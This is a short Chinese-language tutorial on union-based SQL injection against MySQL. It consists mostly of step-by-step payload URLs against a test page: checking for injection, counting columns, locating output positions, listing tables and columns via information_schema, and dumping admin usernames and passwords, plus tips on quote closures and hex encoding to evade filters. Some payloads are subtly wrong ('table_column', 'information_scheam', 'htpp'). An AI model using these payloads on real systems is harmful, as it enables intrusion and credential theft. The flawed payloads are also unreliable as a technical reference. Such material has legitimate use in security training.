显错注入
这里拿MySQL数据库做事例,其他数据库方法类似,函数有差异而已
-
准备知识:
1、MySQL数据库5.0以上版本有系统自带库(information_schema),其他数据库可采用爆破或猜解来得到 2、 库名:table_schema 表名:table_name 字段名:table_column
-
核心:显错注入,顾名思义就是利用数据库查询语句,将数据库的内容显示出来,一般在回显页面中,网页源代码可能也存在回显
1、判断是否存在注入 http://192.168.1.10/test.php?id=1 and 1=2 http://192.168.1.10/test.php?id=2-1 http://192.168.1.10/test.php?id=1' http://192.168.1.10/test.php?id=1 and sleep(5) 2、二分法判断该表字段数(二分法加减的形式如:10,20,40) http://192.168.1.10/test.php?id=1 order by 3 3、联合查询判断输出位(有些输出点可能在源代码中) htpp://192.168.1.10/test.php?id=1 and 1=2 union all select 1,2,3 -- qwe 4、查询目标服务器表名(table_name,table_schema) http://192.168.1.10/test.php?id=1 and 1=2 union all select 1,table_name,3 from information_schema.tables where table_schema=database() limit 2,1 -- qwe 5、查询服务器字段名(table_column) http://192.168.1.10/test.php?id=1 and 1=2 union all select 1,table_column,3 from information_scheam.columns where table_schema=database() and table_name='admin' limit 1,1 -- qwe 6、查询字段内容 http://192.168.1.10/test.php?id=1 and 1=2 union all select 1,username,3 from admin limit 1,1 -- qwe http://192.168.1.10/test.php?id=1 and 1=2 union all select 1,password,3 from admin limit 1,1 -- qwe
-
注意点:
1、闭合方式:无闭合、’‘、(’‘)、“”、(“”)、<>、<’’>
2、当不能输入字符串时,可采用hex编码替换对应字符串,或采用多重语句套娃。